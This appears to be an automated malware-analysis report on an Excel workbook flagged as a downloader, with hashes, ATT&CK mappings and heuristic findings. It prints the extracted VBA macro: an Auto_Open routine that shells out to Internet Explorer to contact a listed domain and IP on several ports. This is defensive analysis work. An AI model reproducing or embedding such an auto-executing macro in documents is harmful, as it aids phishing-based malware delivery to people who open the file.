Xls.Downloader.W2000m-10009382-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 f7451644c5a681c4…

MALICIOUS

Office (OOXML)

13.7 KB Created: 2014-03-24 15:48:21 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-09-04
MD5: 0f18d907d2044bfcc265e58eaeb223bd SHA-1: d672b0d1133725a67340f817c874c2cd62afaf39 SHA-256: f7451644c5a681c484cc3798284ec3ccc0ec82689db6cb4c76f41f0e14abcea7
282 Risk Score

Malware Insights

Xls.Downloader.W2000m-10009382-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an Excel document containing a VBA macro with an Auto_Open subroutine. This macro utilizes the Shell() function to execute Internet Explorer, which then attempts to download payloads from multiple URLs. The ClamAV detection name 'Xls.Downloader.W2000m-10009382-0' and the presence of the Auto_Open and Shell() calls strongly indicate a downloader functionality, likely delivered via spearphishing.

Heuristics 6

  • ClamAV: Xls.Downloader.W2000m-10009382-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.W2000m-10009382-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www-direct.crest-approved.org?bch=ping In document text (OOXML body / shared strings)
    • http://46.252.73.45?bch=pingIn document text (OOXML body / shared strings)
    • http://www-direct.crest-approved.org:8080?bch=pingIn document text (OOXML body / shared strings)
    • http://46.252.73.45:8080?bch=pingIn document text (OOXML body / shared strings)
    • http://www-direct.crest-approved.org:53?bch=pingIn document text (OOXML body / shared strings)
    • http://46.252.73.45:53?bch=pingIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1763 bytes
SHA-256: dff259a3522426d3904ccd107cb0487d61e3b186bc56550fab2fb652f5963cce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:8080?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:8080?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:53?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:53?bch=ping")

End Sub



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: b8302d21481564b9240181e66479e8b9da19c756f6f2517a7f80c690e80bf244
Detection
ClamAV: Xls.Downloader.W2000m-10009382-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.